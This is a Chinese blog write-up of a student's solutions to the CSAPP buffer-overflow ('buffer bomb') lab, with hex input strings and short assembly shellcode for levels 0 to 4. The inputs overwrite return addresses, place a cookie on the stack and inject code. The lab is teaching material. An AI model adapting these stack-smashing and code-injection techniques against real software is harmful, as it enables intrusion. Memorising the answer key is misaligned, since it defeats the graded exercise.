CSAPP:缓冲区炸弹

答案

学号后六位:001036
第零关:B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
第一关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
第二关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
第三关:B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
第四关:B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
20240320_084142.png

Overview

  • input的位置main->test->getbuf->getxs
  • 栈中间必然存在一段内容表示getbuf的返回地址,我们要做的就是输入一段较长的字符串,实现对返回地址的覆盖,这样就可以返回到我们想要的地方

第一关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
  • 第一关自动会call _exit,程序会自动退出,所以无需考虑维护栈结构(除第四关外都是如此)
  • 找到输出第一关成功通过的地址004011F0,将返回地址修改到此处
  • 注意小端寻址

第二关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
  • 与第一关类似,也是需要把返回地址修改为输出第二关成功通过的地址00401210
  • 第二关比第一关多考虑了一个参数,即cookie(我学号对应的cookie是1B91DFD6)
    • 要求[esp+8]=cookie,注意到esp+8对应输入的第25-28字节,于是把这些位传入我的cookie即可
    • image.png|250

第三关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
  • 首先将返回地址修改为0019FD98,即读入机器码的起始地址,这样就可以让程序执行我们输入的指令
  • 本关要求修改global_value的值为cookie
    • image.png|300
    • 所以需要跳转到修改全局变量的地址00409004,并把cookie mov进去
      • image.png|500
  • 之后需要往栈中push进输出第三关通过的地址00401260,最后用ret指令返回
  • 即答案的前16个字节为如下汇编代码的机器码,最后四个字节为机器码的起始地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x00401260
ret

第四关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
  • 这一关是在第三关的基础上完成的
  • 与其他关卡不同的一点是函数结尾不是exit,如果继续延用第三关密码,pc将ret到输入字符的21-24字节
  • 所以我们需要把ret的地址修改为函数exit的地址00401580
    • image.png
  • 即答案的前16个字节为如下汇编代码的机器码,然后四个字节为机器码的起始地址,最后四个字节为exit的地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x004012B0
ret

第零关

  • B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
  • 交的时候才发现还有第零关
  • 注意到这里比较了[ebp+var_4]的值,要想鸟不被杀死,就必须确保getbuf结束后ebp不能被改变,仍为0019FDC8
    • image.png|450
  • 即答案的前12个字节为如下汇编代码的机器码,然后四个字节为ebp原来的值,最后四个字节为机器码的起始地址0019FD98
mov eax, 0x1B91DFD6    
push 0x00401181
ret
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值